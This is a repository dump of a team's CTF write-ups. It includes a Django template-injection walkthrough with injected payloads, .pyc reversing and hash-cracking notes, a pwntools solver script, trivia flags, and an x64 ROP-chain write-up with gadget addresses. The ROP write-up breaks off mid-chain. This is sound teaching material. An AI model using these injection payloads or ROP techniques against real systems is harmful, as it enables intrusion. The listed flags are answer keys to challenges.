├── CSAW-2017 └── web │ └── Shia │ └── solution.md ├── README.md ├── alexctf-2017 ├── reversing │ ├── 250-unVM_me │ │ ├── README.md │ │ ├── original.py │ │ ├── sol.py │ │ └── unvm_me.pyc │ └── 50-Gifted │ │ ├── README.md │ │ └── gifted ├── scripting │ └── 100-Math_Bot │ │ ├── README.md │ │ └── sol.py └── trivia │ ├── 10-Hello_there.md │ ├── 20-SSL_0day.md │ ├── 30-CA.md │ └── 40-logo │ ├── README.md │ ├── logo.png │ └── logo.txt ├── cccamp2015-milliways ├── README.md ├── ropcalc.md └── ropcalc │ ├── README.md │ ├── calc.rop │ ├── pwn_ropcalc.py │ ├── ropcalc │ └── server.py ├── csaw2015-quals ├── Exploit250-contacts │ ├── README.md │ ├── contacts2-local.py │ ├── contacts_54f3188f64e548565bc1b87d7aa07427 │ ├── contacts_old │ ├── libc-hopeful.so.6 │ └── printf-example │ │ ├── README.md │ │ ├── printf-example │ │ ├── printf-example.c │ │ └── solution.txt ├── Exploit400-memeshop.md ├── Exploit400-memeshop │ ├── fortunes │ │ └── asdf │ ├── memes │ │ ├── cage.meme │ │ ├── derp.meme │ │ ├── doge.meme │ │ ├── fry.meme │ │ ├── nyan.meme │ │ ├── sir.meme │ │ ├── skeleton.meme │ │ ├── thumbup.meme │ │ └── troll.meme │ ├── memeshop.rb │ ├── plugin │ │ └── mememachine.so │ └── pwn_memeshop.py ├── Exploite300-ftp2.md └── Forensics100-transfer.md ├── csaw2016-quals ├── README.md ├── coinslot │ ├── README.md │ └── cointslot.py ├── fuzyll │ └── solve_fuzyll.py ├── mfw │ └── README.md ├── regexpire │ ├── README.md │ └── regexpire.txt ├── rock │ ├── README.md │ ├── rock │ └── solve_rock.py └── warmup │ ├── README.md │ └── warmup ├── hackthevote-2016 ├── README.md ├── vermatrix_supreme │ ├── README.md │ ├── handout.py │ └── sol.py └── warp_speed │ ├── README.md │ ├── flag │ ├── sol.py │ ├── warp_speed.jpg │ └── warp_speed_fixed.jpg ├── icectf-2016 ├── Exposed │ └── README.md ├── IRC1 │ └── README.md ├── IRC2 │ └── README.md ├── Over-the-Hill │ └── OverTheHill.py ├── RSA1 │ └── README.md ├── RSA2 │ ├── README.md │ └── nptr_rsatool.py ├── Round-Rabins │ └── README.md ├── Smashing-Profit │ ├── README.md │ ├── flag.txt │ └── profit ├── Thors-A-Hacker-Now │ ├── README.md │ ├── thor.out │ └── thor.txt ├── Toke │ └── README.md ├── corrupt_transmission │ ├── README.md │ ├── corrupt.png │ └── corrupt_fixed.png ├── dear_diary │ ├── README.md │ ├── dear_diary │ ├── dear_diary.py │ └── flag.txt ├── intercepted_1 │ ├── README.md │ ├── intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng │ └── solve.py ├── kitty │ ├── README.md │ └── kitty.py ├── l33tcrypt │ └── l33tbrute.py ├── miners │ └── README.md ├── ropi │ ├── README.md │ ├── flag.txt │ ├── myropi │ ├── myropi.c │ ├── pwnropi.py │ └── ropi └── spotlight │ └── README.md ├── sha2017 ├── README.md ├── asby │ ├── README.md │ ├── asby.exe │ └── sol.py └── megan-35 │ ├── README.md │ ├── libc.so.6 │ ├── megan-35 │ └── pwnMegan.py └── sunshine-ctf-2016 ├── Alligatorsim95 └── README.md ├── Dance └── README.md ├── FindFloridaMan └── README.md └── README.md /CSAW-2017/web/Shia/solution.md: -------------------------------------------------------------------------------- 1 | # Solution for Shia Labeouf-off! 2 | 3 | ## Things to know 4 | 5 | This challenge is based on the python web framework, Django. Before jumping into this one, review Django and templates in Django. 6 | 7 | ## Walkthrough 8 | 9 | ### Step 1: Investigation 10 | 11 | #### Homepage and polls 12 | 13 | When you first pull up this challenge, you will be on the homepage, with a Shia Surprise! 14 | 15 | Viewing the source for this page reveals nothing useful; let's move on. 16 | 17 | When you click the "Pick ur Shia!" button, you are brought to a new page, /polls/, which has 2 links to polls. Clicking one of the two, we are brought to a new url, http://web.chal.csaw.io:5487/polls/2/, and the number in the url immediately sticks out. Trying to change the url to 3 results in an error. 18 | 19 | http://web.chal.csaw.io:5487/polls/3/ 20 | 21 | We are quickly greeted by a wall of error text! This may (and will) be useful later, but for now, let's move on. 22 | 23 | #### Ad-Lib 24 | 25 | Returning to the homepage, we can follow another link to /ad-lib/, where we are presented with a textbox with the following instructions: 26 | 27 | > Give me an ad lib and I will Shia Labeouf it up for you! 28 | > Where you want a noun, just put: "{{ noun }}", for a verb: "{{ verb }}", and for an adjective: "{{ adjective }}"! 29 | 30 | I was not familiar with Django when I started this challenge; however, this stands out immediately as some kind of programming language. Googling django and {{ }} reveals that we are looking at Djangos templates. It appears we have found our vulnerability. 31 | 32 | However, we do not have a direction for our exploit. Since the debug is on, let's go ahead and get an error on this page as well. This is easily done by inserting some weird Django template, such as: 33 | 34 | {{ * }} 35 | 36 | ### Step 2: Searching for our flag 37 | 38 | #### Mrpoopy 39 | 40 | We now have two useful error pages, one on the polls page and one on the adlib page. 41 | 42 | When looking through django errors, it's useful to look for code on the error trace that was created by the user, not the library. You can find this code by looking for files with clearly user-generated names, or starting with ./ (Clicking on the one-line code excerpt will expand it.) 43 | 44 | Scrolling through it, we find this: 45 | 46 | ./ad-lib/views.py in index 47 | 48 | def index(request): 49 | global obj 50 | if request.method == "POST": 51 | data = request.POST.get('formatdata', '') 52 | template_data = TEMP.format(data.replace("noun", "noun|safe").replace("verb", "verb|safe").replace("adjective", "adjective|safe")) 53 | template = Template(template_data) 54 | context = RequestContext(request, { 55 | 'noun': '', 56 | 'verb': '', 57 | 'adjective': '', 58 | 'mrpoopy': obj 59 | }) 60 | 61 | We have found the values we were calling earlier! However, we also found an object, mrpoopy. Let's try to print this by injection again: 62 | 63 | {{ mrpoopy }} 64 | 65 | We are given the following: 66 | 67 | > 68 | 69 | This is a fairly strange object, and in a convenient location, so our flag is probably hiding here. Unfortunately, we have no way to know what attributes are in the object, such as by calling the dir function in python. 70 | 71 | #### Finding Mypoopy's attributes 72 | 73 | Let us view our other source of knowledge, the errors in the polls page. We will do what we did before, and search for user-written code. We find, amongst other things: 74 | 75 | ./polls/templatetags/pools_extras.py in checknum 76 | 77 | @register.filter(name='getme') 78 | def getme(value, arg): 79 | return getattr(value, arg) 80 | 81 | @register.filter(name='checknum') 82 | def checknum(value): 83 | check(value) 84 | 85 | @register.filter(name='listme') 86 | def listme(value): 87 | return dir(value) 88 | 89 | def check(value): 90 | 91 | That listme is exactly what we need! This file is in the folder templatetags. If we google this, we find these are custom functions that act like "filters" for our templates. The following prints my_date, formatted as Y-m-d: 92 | 93 | {{ my_date|date:"Y-m-d" }} 94 | 95 | The custom listme calls dir on the variable, which is exactly what we need! The getme might also be useful, so let's keep it in mind. 96 | 97 | ### Step 3: Exploit! 98 | 99 | Let's go bck to the ad-lib page and find out what secrets mrpoopy holds. Inject the following: 100 | 101 | {{ mrpoopy|listme }} 102 | 103 | We get the following: 104 | 105 | ['Woohoo', '__doc__', '__flag__', '__module__'] 106 | 107 | Perfect! That flag value is exactly what we need! You just killed Shia Labeouf! 108 | 109 | {{ mrpoopy.__flag__ }} 110 | 111 | Wait... He's not dead! Shia Surprise! (https://www.youtube.com/watch?v=o0u4M6vppCI) We got a syntax error, as variables and attributes may not begin with underscores. Fortunately, we found a function earlier that is not so limiting: getme. Let's use it here! 112 | 113 | {{ mrpoopy|getme:"__flag__" }} 114 | 115 | Congratulations! You have just beat Shia Labeouf. For real this time. And you kept all your limbs! 116 | 117 | ## Flag 118 | 119 | flag{wow_much_t3mplate} 120 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # writeups 2 | Public WCSC writeups 3 | -------------------------------------------------------------------------------- /alexctf-2017/reversing/250-unVM_me/README.md: -------------------------------------------------------------------------------- 1 | # Reversing 250 - UnVM me 2 | 3 | ### Description 4 | 5 | > If I tell you what version of python I used .. where is the fun in that? 6 | 7 | ### Solution 8 | 9 | [This blog post](http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html) 10 | explained that the first 4 bytes of a .pyc file are a magic number indicating 11 | what version of `marshal` (which changes every python major version) was used for serialization. 12 | The next 4 bytes are a modification timestamp, and the rest of the file is a 13 | marshalled code object. 14 | 15 | The first four bytes of the .pyc file are `03 f3 0d 0a` (`'\x03\xf3\r\n'`). 16 | [This SO answer](http://stackoverflow.com/a/7807661/1529586) enumerates the known 17 | .pyc version numbers. According to the list, this .pyc file was compiled with 18 | python 2.7a0. We will use that version to demarshal it. 19 | 20 | After seeking past the 8th byte, we should be able to call `marshal.load()` and pass the 21 | resulting code object into `dis.dis`. After some trial and error, we arrive at the 22 | original source (located in `original.py`). 23 | 24 | It contains a list of md5 digests that must be reversed. The input strings that correspond 25 | to the hashes are 5 characters long each (according to `for i in range(0, len(flag), 5):`) 26 | and there are 13 of them in total. Passing these hashes into any hash cracking software 27 | should get the 13 original strings. Concatenating these results in the flag. 28 | 29 | ### Flag 30 | 31 | ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k} 32 | -------------------------------------------------------------------------------- /alexctf-2017/reversing/250-unVM_me/original.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | import md5 3 | md5s = [0x831daa3c843ba8b087c895f0ed305ce7, 4 | 0x6722f7a07246c6af20662b855846c2c8, 5 | 0x5f04850fec81a27ab5fc98befa4eb40c, 6 | 0xecf8dcac7503e63a6a3667c5fb94f610, 7 | 0xc0fd15ae2c3931bc1e140523ae934722, 8 | 0x569f606fd6da5d612f10cfb95c0bde6d, 9 | 0x068cb5a1cf54c078bf0e7e89584c1a4e, 10 | 0xc11e2cd82d1f9fbd7e4d6ee9581ff3bd, 11 | 0x1df4c637d625313720f45706a48ff20f, 12 | 0x3122ef3a001aaecdb8dd9d843c029e06, 13 | 0xadb778a0f729293e7e0b19b96a4c5a61, 14 | 0x938c747c6a051b3e163eb802a325148e, 15 | 0x38543c5e820dd9403b57beff6020596d] 16 | 17 | print 'Can you turn me back to python ? ...' 18 | flag = raw_input('well as you wish.. what is the flag: ') 19 | 20 | if len(flag) > 69: 21 | print 'nice try' 22 | exit() 23 | 24 | if len(flag) % 5 != 0: 25 | print 'nice try' 26 | exit() 27 | 28 | for i in range(0, len(flag), 5): 29 | s = flag[i, i+5] 30 | if int('0x'+md5.new(s).hexdigest(), 16) != md5s[i/5]: 31 | print 'nice try' 32 | exit() 33 | 34 | print 'Congratz now you have the flag.' 35 | -------------------------------------------------------------------------------- /alexctf-2017/reversing/250-unVM_me/sol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | import marshal 4 | import dis 5 | 6 | with open('unvm_me.pyc') as f: 7 | f.read(8) 8 | dis.dis(marshal.load(f)) 9 | -------------------------------------------------------------------------------- /alexctf-2017/reversing/250-unVM_me/unvm_me.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/reversing/250-unVM_me/unvm_me.pyc -------------------------------------------------------------------------------- /alexctf-2017/reversing/50-Gifted/README.md: -------------------------------------------------------------------------------- 1 | # Reversing 50 - Gifted 2 | 3 | ### Description 4 | 5 | No Description 6 | 7 | ### Solution 8 | 9 | The flag appears in the output of `strings gifted` 10 | 11 | ### Flag 12 | 13 | AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing} 14 | -------------------------------------------------------------------------------- /alexctf-2017/reversing/50-Gifted/gifted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/reversing/50-Gifted/gifted -------------------------------------------------------------------------------- /alexctf-2017/scripting/100-Math_Bot/README.md: -------------------------------------------------------------------------------- 1 | # Scripting 100 - Math Bot 2 | 3 | ### Flag 4 | 5 | ALEXCTF{1_4M_l33t_b0t} 6 | -------------------------------------------------------------------------------- /alexctf-2017/scripting/100-Math_Bot/sol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | s = remote('195.154.53.62', 1337) 6 | 7 | s.recvuntil('are a bot\n') 8 | while True: 9 | line = s.recvline(keepends=False) 10 | if line.startswith('Question'): 11 | expr = s.recvline(keepends=False) 12 | print line, expr, 13 | 14 | a, op, b = expr.rstrip('=').strip().split() 15 | a, b = int(a), int(b) 16 | 17 | if op == '-': 18 | res = str(a - b) 19 | elif op == '+': 20 | res = str(a + b) 21 | elif op == '*': 22 | res = str(a * b) 23 | elif op == '%': 24 | res = str(a % b) 25 | elif op == '/': 26 | res = str(a / b) 27 | else: 28 | print 'Unknown operation \'%s\'' % op 29 | break 30 | 31 | print res 32 | s.send(res + '\n') 33 | 34 | else: 35 | print line 36 | print s.recvall() 37 | break 38 | -------------------------------------------------------------------------------- /alexctf-2017/trivia/10-Hello_there.md: -------------------------------------------------------------------------------- 1 | # Trivia 10 - Hello there 2 | 3 | ### Description 4 | 5 | > Why not drop us a few lines and say hi :). 6 | 7 | ### Solution 8 | 9 | The topic on the IRC channel #alexctf on Freenode is 10 | 11 | Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck} 12 | 13 | ### Flag 14 | 15 | ALEXCTF{W3_w15h_y0u_g00d_luck} 16 | -------------------------------------------------------------------------------- /alexctf-2017/trivia/20-SSL_0day.md: -------------------------------------------------------------------------------- 1 | # Trivia 20 - SSL 0day 2 | 3 | ### Description 4 | 5 | > It lead to memory leakage between servers and clients rending large number 6 | > of private keys accessible. (one word) 7 | 8 | ### Solution 9 | 10 | > The Heartbleed Bug is a serious vulnerability in the popular OpenSSL 11 | > cryptographic software library. This weakness allows stealing the information 12 | > protected, under normal conditions, by the SSL/TLS encryption used to secure 13 | > the Internet. 14 | 15 | ([Source](http://heartbleed.com/)) 16 | 17 | ### Flag 18 | 19 | Heartbleed 20 | -------------------------------------------------------------------------------- /alexctf-2017/trivia/30-CA.md: -------------------------------------------------------------------------------- 1 | # Trivia 30 - CA 2 | 3 | ### Description 4 | 5 | > What is the CA that issued Alexctf https certificate 6 | > (flag is lowercase with no spaces) 7 | 8 | ### Solution 9 | 10 | Viewing the certificate issued by ctf.oddcoder.com, we see its CA is 11 | "Let's Encrypt" 12 | 13 | ### Flag 14 | 15 | letsencrypt 16 | -------------------------------------------------------------------------------- /alexctf-2017/trivia/40-logo/README.md: -------------------------------------------------------------------------------- 1 | # Trivia 40 - Doesn't Our Logo Look Cool? 2 | 3 | ![AlexCTF logo](logo.png) 4 | 5 | ### Solution 6 | 7 | The flag format for this ctf is `ALEXCTF{[A-Za-z0-9_]*}`. 8 | Run `tr` to delete any character that isn't in the set. 9 | 10 | tr -dC 'A-Za-z0-9_{}' < logo.txt 11 | 12 | ### Flag 13 | 14 | ALEXCTF{0UR_L0G0_R0CKS} 15 | -------------------------------------------------------------------------------- /alexctf-2017/trivia/40-logo/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/trivia/40-logo/logo.png -------------------------------------------------------------------------------- /alexctf-2017/trivia/40-logo/logo.txt: -------------------------------------------------------------------------------- 1 | '@+. 2 | @@@@@@@: 3 | @@@@@@@@@# 4 | @@@@@@@@@@@, 5 | '@@@@@@@@@@@@ 6 | @@@@@@@@@@@@@ 7 | @@@@@@@@@@@@@. 8 | @@@@@@@@@@@@@, 9 | @@@@A@@@@@@@@ 10 | +@@@@@@@@@@@@ .:++@@@@@+:. 11 | @@@@@@@@@@@' .+@@@@@@@@@@@@@@@@@@@@@` 12 | .@@@@@@@@@@ .#@@@@@@@@@@@@@@L@@@@@@@@@@@@@# 13 | +@@@@@@@@ `#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@. 14 | +@@@E@@@@ .@@@@@@X@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: '@@@@@. 15 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@C@@. `+@@@@@@@@@. 16 | +@@@@@@@@ ;@@@@@@T@@@@@@@@@@@',` .+@@@@@@@@@@@@@@@: `:@@@@@@F@@@@@@@@. 17 | +@@@@@@@@ ;@@@@@@@@@@@+. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 18 | +@@@@@@@@ ;@@@@@@@, `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 19 | +@@@@@@@@ ;@@@@@. +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 20 | +@@@@@@@@ ;@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@. 21 | +@@@@@@@@ ;@@@@@. ;@@@@@@@@@@@@{@@@@@@@@@@@#, ;@@@@@. 22 | +@@@@@@@@ ;@@@@@. '@@@@@@@@@@@@@@+, ;@@@@@. 23 | +@@@@@@@@ ;@@@@@. ;@@@@@. 24 | +@@@@@@@@ ;@@@@@. ;@@@@@. 25 | +@@@@@@@@ ;@@@@@. ;@@@@@. 26 | +@@@@@@@@ ;@@@@@. ;@@@@@. 27 | +@@@@@@@@ ;@@@@@. ;@@@@@. 28 | +@@@@@@@@ ;@@@@@. ;@@@@@. 29 | +@@@@@@@@ ;@@@@@. :;. ;@@@@@. 30 | +@@@@@@@@ ;@@@@@. @ ;@ @@@@@@@ @` `@ +@@#@@ '@@@@@@@ @@@@@@@, ;@@@0@. 31 | +@@@@U@@@ ;@@@@@. @+ ;@ @ .@ @, @ #@ `@ @ ;@@@@@. 32 | +@@@@@R@@ ;@@@@@. .@@ ;@ @ @` `@ :@ @ `@ @ ;@@@_@. 33 | +@@@@@@@@ ;@@@@@. @,@ ;@ @ ,@ @, ;@ ` `@ @ ;@@@@@. 34 | +@@@@@@@@ ;@@@@@. @ @: ;@ @ @`@ ;@ `@ @ ;@@@@@. 35 | +@@@@@@@@ ;@@@@@. @ .@ ;@ @ ,@: ;@ `@ @ ;@@@@@. 36 | +@@@@@@@@ ;@@@@@. +# @ ;@ @@@@@@ @ ;@ `@ @@@@@@ ;@@@@@. 37 | +@@@@@@@@ ;@@@@@. @ @` ;@ @ @+@ ;@ `@ @ ;@@@@@. 38 | +@@@@@@@@ ;@@@@@. @ '# ;@ @ @ @ ;@ `@ @ ;@@@@@. 39 | +@@@@@@@@ ;@@@@@. ,@@@@@@ ;@ @ @; :@ ;@ @ `@ @ ;@@@@@. 40 | +@@@@@@@@ ;@@@@@. @: @ ;@ @ @ @ ,@ @ `@ @ ;@@@@@. 41 | +@@@@@@@@ ;@@@@@. @ @; ;@ @ @; :@ @, @' `@ @ ;@@@@@. 42 | +@@@@@L@@ ;@@@@@. @ .@ ;@@@@@@ @@@@@@@ @ @ @@@@# `@ @ ;@@@@@. 43 | +@@@@@@@@ ;@@@@@. ;@@@@@. 44 | +@@@@@@@@ ;@@@@@. ;@@@@@. 45 | +@@@@@@@@ ;@@@@@. ;@@@@@. 46 | +@@@@@@@@ ;@0@@@. ;@@@@@. 47 | +@@@@@@@@ ;@@@@@. ;@@@@@. 48 | +@@@@@@@@ ;@@@@@. ;@@@@@. 49 | +@@@@@@@@ ;@@@@@. ;@@@@@. 50 | +@@@@@@@@ ;@@@@@. ;@@@@@. 51 | +@@@@@@@@ ;@@@@@. ;@@@@@. 52 | +@@@@@@@@ ;@@@@@. ;@@G@@. 53 | +@@@@@@@@ ;@@@@@. ;@@@@@. 54 | +@@@@@@@@ ;@@@@@. ..,:,.. ;@@@@@. 55 | +@@@@@@@@ ;@@@@@. `'@@@@@@@@@@@@@@@@@@@@: ;@@@@@. 56 | +@@@@@@@@ ;@@@@@.+@@@@@@@@@@@@@0@@@@@@@@@@@@@@@. ;@@@_@. 57 | +@@R@@@@@ ;@@@@0@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# ;@@C@@. 58 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@` .@@@@@@. 59 | +@@@@@@@@ ;@@@@@@@@@@@K@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, `'@@@@@S@@@@. 60 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@+;;...;;+@@@@@@@@@@@@@@@@@@@@@@+:. ..:+@@@@@@@@@@@@@@@@@. 61 | +@@@@@@@@ ;@@@@@@@@@@#, '@@@@@}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 62 | +@@@@@@@@ ;@@@@@@; ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 63 | +@@@@@@@@ ;@@# `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# 64 | +@@@@@@@@ , ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 65 | +@@@@@@@@ `+@@@@@@@@@@@@@@@@@@@@#, 66 | +@@@@@@@@ .;'+++';. 67 | +@@@@@@@@ 68 | +@@@@@@@@ 69 | +@@@@@@@@ 70 | +@@@@@@@@ 71 | +@@@@@@@@ 72 | +@@@@@@@@ 73 | +@@@@@@@@ 74 | +@@@@@@@@ 75 | +@@@@@@@@ 76 | +@@@@@@@@ 77 | +@@@@@@@@ 78 | +@@@@@@@@ 79 | +@@@@@@@@ 80 | +@@@@@@@@ 81 | +@@@@@@@@ 82 | +@@@@@@@@ 83 | +@@@@@@@@ 84 | +@@@@@@@@ 85 | +@@@@@@@@ 86 | +@@@@@@@@ 87 | +@@@@@@@@ 88 | +@@@@@@@@ 89 | +@@@@@@@@ 90 | +@@@@@@@@ 91 | +@@@@@@@@ 92 | +@@@@@@@@ 93 | +@@@@@@@@ 94 | +@@@@@@@@ 95 | +@@@@@@@@ 96 | +@@@@@@@@ 97 | +@@@@@@@@ 98 | +@@@@@@@@ 99 | +@@@@@@@@ 100 | +++++++++++++++++++#@@@@@@@@+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 101 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 102 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 103 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 104 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 105 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 106 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 107 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 108 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 109 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 110 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 111 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 112 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 113 | -------------------------------------------------------------------------------- /cccamp2015-milliways/README.md: -------------------------------------------------------------------------------- 1 | # CCCamp 2015 CTF 2 | 3 | Duck and I (along with others) played with the Milliways chaostreff. Binaries and such included in respective directories. 4 | 5 | Note that I won't go over the basics of exploitation (like ROP or defeating ASLR). If you need to learn that, there are plenty of resources online that are better than I would write in a GitHub markdown file... Including my (currently unedited/crappy) ["bootcamp"](https://drive.google.com/folderview?id=0B93dhxRIPRWzfjRJRFdYNVQ0OXlJOVBBclB0eFFBampVOUpsR0NtS0VRdFpmYnJlQWNaRWc&usp=sharing). 6 | 7 | ropcalc was fun and easy. It's definitely worth doing if you want a toy x64 ROP challenge. 8 | 9 | bitterman was the first one I did (and the most points), simply because it was at the top of the list in the "binaries" section. It turned out that bitterman was a harder version of another challenge, so I won't post the writeup for that other one (phobos, I think). 10 | -------------------------------------------------------------------------------- /cccamp2015-milliways/ropcalc.md: -------------------------------------------------------------------------------- 1 | # ROPcalc writeup 2 | 3 | ropcalc was fun. You're given the binary and a python server to wrap it. The server calls the binary, you provide stdin, and it simply returns to whatever address you supply. The server then checks the return value and verifies whether or not it matches the expected number. 4 | 5 | From the server code: 6 | 7 | ```python 8 | EXPRESSIONS = ( 9 | "$rax + $rbx", 10 | "$rax + $rbx + 1337", 11 | "$rax * $rbx", 12 | "$rax * (31337 + $rbx)", 13 | "$rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015", 14 | ) 15 | ``` 16 | 17 | So you need to create a ROP chain that evaluates those expressions, then return the value in RAX. It's not difficult, but it's an exercise in x64 ROP. And gadget searching, of course. The server goes through each individual expression and checks it, so we want a rop chain to implement each expression. Also, the server takes a hex encoding of the payload (rop chain). 18 | 19 | The first expression is `$rax + $rbx`. I do a `grep "add rax, rbx" calc.rop` and find a gadget: 20 | 21 | 22 | ``` 23 | 0x0000000000400b30 : add rax, rbx ; ret 24 | ``` 25 | 26 | This looks like a nice gadget. And it'll return with `RAX` being the result, so we're golden. 27 | 28 | ```python 29 | rop = '' 30 | rop += p64(0x0000000000400b30) 31 | r.sendline(rop.encode('hex')) 32 | ``` 33 | 34 | The next one was to do `$rax + $rbx + 1337`. For this, I decided to just pop the value into a register and add it that way. `RBX` is fine as a temporary register... A couple greps later, and here's a chain: 35 | 36 | ``` 37 | 0x0000000000400b30 : add rax, rbx ; ret 38 | 0x00000000004008d0 : pop rbx ; ret 39 | 1337 40 | 0x0000000000400b30 : add rax, rbx ; ret 41 | ``` 42 | 43 | Notice that I'm simply popping 1337 from the stack (into `RBX`) and then adding that. 44 | 45 | ```python 46 | rop += p64(0x0000000000400b30) 47 | rop += p64(0x00000000004008d0) 48 | rop += p64(1337) 49 | rop += p64(0x0000000000400b30) 50 | r.sendline(rop.encode('hex')) 51 | ``` 52 | 53 | Next one you needed to multiply (`$rax * $rbx`)! That's crazy stuff, so I had to change my grep up a little. `grep "mul rax, rbx" calc.rop` gave me: 54 | 55 | ``` 56 | 0x0000000000400b50 : imul rax, rbx ; ret 57 | ``` 58 | 59 | So... 60 | 61 | ```python 62 | rop += p64(0x0000000000400b50) 63 | r.sendline(rop.encode('hex')) 64 | ``` 65 | 66 | Now for the next one (`$rax * (31337 + $rbx)`) we need proper order of operations. So I need a temporary register. It can't be `RAX` or `RBX`, so I `egrep "add r.x, rbx" calc.rop`. And I decided to use: 67 | 68 | ''' 69 | 0x00000000004013a0 : add rcx, rbx ; ret 70 | ''' 71 | 72 | Now everything is as easy as before - put 31337 into `RCX`, add it to `RBX`, then `imul` that with `RAX`. 73 | 74 | ``` 75 | 0x0000000000400900 : pop rcx ; ret 76 | 31337 77 | 0x00000000004013a0 : add rcx, rbx ; ret 78 | 0x0000000000400ba0 : imul rax, rcx ; ret 79 | ``` 80 | 81 | Python: 82 | 83 | ```python 84 | rop += p64(0x0000000000400900) 85 | rop += p64(31337) 86 | rop += p64(0x00000000004013a0) 87 | rop += p64(0x0000000000400ba0) 88 | r.sendline(rop.encode('hex')) 89 | ``` 90 | 91 | Now this last one was a pain... This: 92 | 93 | ``` 94 | $rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015 95 | ``` 96 | 97 | had lots of order-of-operations problems. I decided to just do stuff in semi-random order - it's nice that x64 has lots of registers to allow for temp storage <3. After lots of grepping and soul searching (comments and all from my notes): 98 | 99 | ``` 100 | 0x0000000000400a20 : pop r10 ; ret stage 23 101 | 23 102 | 0x0000000000400d80 : imul rax, r10 ; ret 23 * rax 103 | 0x0000000000400b80 : add rax, rcx ; ret ^this + rcx 104 | 0x0000000000400b30 : add rax, rbx ; ret ^this + rbx 105 | 106 | stuffs: 107 | 0x0000000000400a20 : pop r10 ; ret 108 | 5 109 | 0x00000000004019b0 : imul rdx, r10 ; ret 110 | 0x0000000000401400 : sub rcx, rdx ; ret 111 | 112 | 0x00000000004020e0 : imul rdi, rsi ; ret 113 | 0x00000000004014a0 : sub rcx, rdi ; ret 114 | 115 | 